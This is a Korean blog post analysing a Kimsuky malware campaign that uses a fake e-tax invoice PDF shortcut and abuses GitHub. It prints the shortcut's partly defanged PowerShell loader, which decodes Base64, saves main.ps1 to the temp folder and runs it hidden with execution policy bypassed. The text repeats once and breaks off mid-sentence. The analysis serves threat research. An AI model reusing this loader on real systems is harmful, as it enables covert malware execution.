깃헙브 데이터 저장소를 악용한 김수키(Kimsuky) 전자세금계산서 사칭 악성코드 공격-전자세금계산서.pdf.lnk(2025.7.23)
Contents
오늘은 북한 해킹 단체인 김수키(Kimsuky) 에서 깃헙브 데이터 저장소를 악용한 전자세금계산서 사칭 악성코드 공격-전자세금계산서.pdf.lnk(2025.7.23)에 대해서 알아보겠습니다. 일단 우리의 주적인 북한의 해킹단체인 김수키(Kimsuky)에서 전자세금계산서.pdf.lnk 이라는 파일로 위장해서 악성코드를 배포하고 있습니다. 해당 악성코드는 기본적으로 Base64로 인코딩이 돼 있는 것이 특징입니다.
악성코드 포함된 Base64
StringData
{
namestring: Type: Hangul Document
Size: 2.84 KB
Date modified: 10/20/2023 11:23
relativepath: not present
workingdir: not present
commandlinearguments: $bas2 = \"JGFzZHF3ZT0iaCIrInQiKyJ????IrIncuIisiZ2l0Ii
iaHVidXNlIisicm.......isibnQuYyIrIm9tIisiL0ciKyJvZ........RlbSAtUG???0aCAkZmRmIC1Gb3JjZT
s=\";$bsts=\"ABCDEFGHIJKLMN?????WXYZabcdefghijklmnopqrstuv????wxyz0123456789+/\";$bas2=
$bas2.TrimEnd('=');$btks=New-Object System(.)Collections(.)Generic.List[Byte];for($i=0
$i -lt $bas2.Length;$i+=4){$yhsd=$bas2(.)Substring($i,[Math]::Min(4,$bas2(.)Length-$i))
;$vds=0;$yhsdLen = $yhsd(.)Length;foreach($c in $yhsd(.)ToCharArray()){$vds=($vds -shl 6) -bor $bsts.IndexOf($c);};for ($j=1(6); $j -ge 0;$j -= 8){if((($i*6)/8)+(3-$j/8) -lt (($bas2(.)L?ngth*6)/8)){$btks.Add([byte](($vds -shr $j) -band 0xFF));}}};$dcdsg1=[System.Text.E???coding]::UTF8.GetString($btks.ToArray());$cty67sx1=[System(.)IO.Path]::GetTempPath();$esiu231=\"main.ps1\";$dsvu1=Join-Path $cty67sx1 $esi(u)231;$dcdsg1|Out-File -FileP(a)th $dsvu1;powershell -wi?dowstyle hidden -Execut?onPolicy Bypass $dsvu1"
iconlocation: %ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe
악성코드 분석
1.$bas2 및 $bsts 변수: 해당 변수들은 Base64로 인코딩된 문자열과 Base64 문자 포함 실행을 하면 -shl, -bor, -shr, -band 연산자는 Base64 문자열을 디코딩할 때 각 문자를 정수로 변환하고 나서 비트 단위로 조합하여 바이트 배열을 복원하는 데 사용
$dcdsg1:디코딩 후 이 변수에는 실행될 실제 PowerShell 스크립트가 저장
$cty67sx1 및 $dsvu1: 해당 코드 줄 등은 디코딩된 스크립트를 사용자 임시 디렉터리에 main.ps1로 저장할 경로
powershell~~:해당 명령은 main.ps1 스크립트를 숨겨진 …
악성코드 포함된 Base64
StringData
{
namestring: Type: Hangul Document
Size: 2.84 KB
Date modified: 10/20/2023 11:23
relativepath: not present
workingdir: not present
commandlinearguments: $bas2 = \"JGFzZHF3ZT0iaCIrInQiKyJ????IrIncuIisiZ2l0Ii
iaHVidXNlIisicm.......isibnQuYyIrIm9tIisiL0ciKyJvZ........RlbSAtUG???0aCAkZmRmIC1Gb3JjZT
s=\";$bsts=\"ABCDEFGHIJKLMN?????WXYZabcdefghijklmnopqrstuv????wxyz0123456789+/\";$bas2=
$bas2.TrimEnd('=');$btks=New-Object System(.)Collections(.)Generic.List[Byte];for($i=0
$i -lt $bas2.Length;$i+=4){$yhsd=$bas2(.)Substring($i,[Math]::Min(4,$bas2(.)Length-$i))
;$vds=0;$yhsdLen = $yhsd(.)Length;foreach($c in $yhsd(.)ToCharArray()){$vds=($vds -shl 6) -bor $bsts.IndexOf($c);};for ($j=1(6); $j -ge 0;$j -= 8){if((($i*6)/8)+(3-$j/8) -lt (($bas2(.)L?ngth*6)/8)){$btks.Add([byte](($vds -shr $j) -band 0xFF));}}};$dcdsg1=[System.Text.E???coding]::UTF8.GetString($btks.ToArray());$cty67sx1=[System(.)IO.Path]::GetTempPath();$esiu231=\"main.ps1\";$dsvu1=Join-Path $cty67sx1 $esi(u)231;$dcdsg1|Out-File -FileP(a)th $dsvu1;powershell -wi?dowstyle hidden -Execut?onPolicy Bypass $dsvu1"
iconlocation: %ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe
악성코드 분석
1.$bas2 및 $bsts 변수: 해당 변수들은 Base64로 인코딩된 문자열과 Base64 문자 포함 실행을 하면 -shl, -bor, -shr, -band 연산자는 Base64 문자열을 디코딩할 때 각 문자를 정수로 변환하고 나서 비트 단위로 조합하여 바이트 배열을 복원하는 데 사용
$dcdsg1:디코딩 후 이 변수에는 실행될 실제 PowerShell 스크립트가 저장
$cty67sx1 및 $dsvu1: 해당 코드 줄 등은 디코딩된 스크립트를 사용자 임시 디렉터리에 main.ps1로 저장할 경로
powershell~~:해당 명령은 main.ps1 스크립트를 숨겨진 …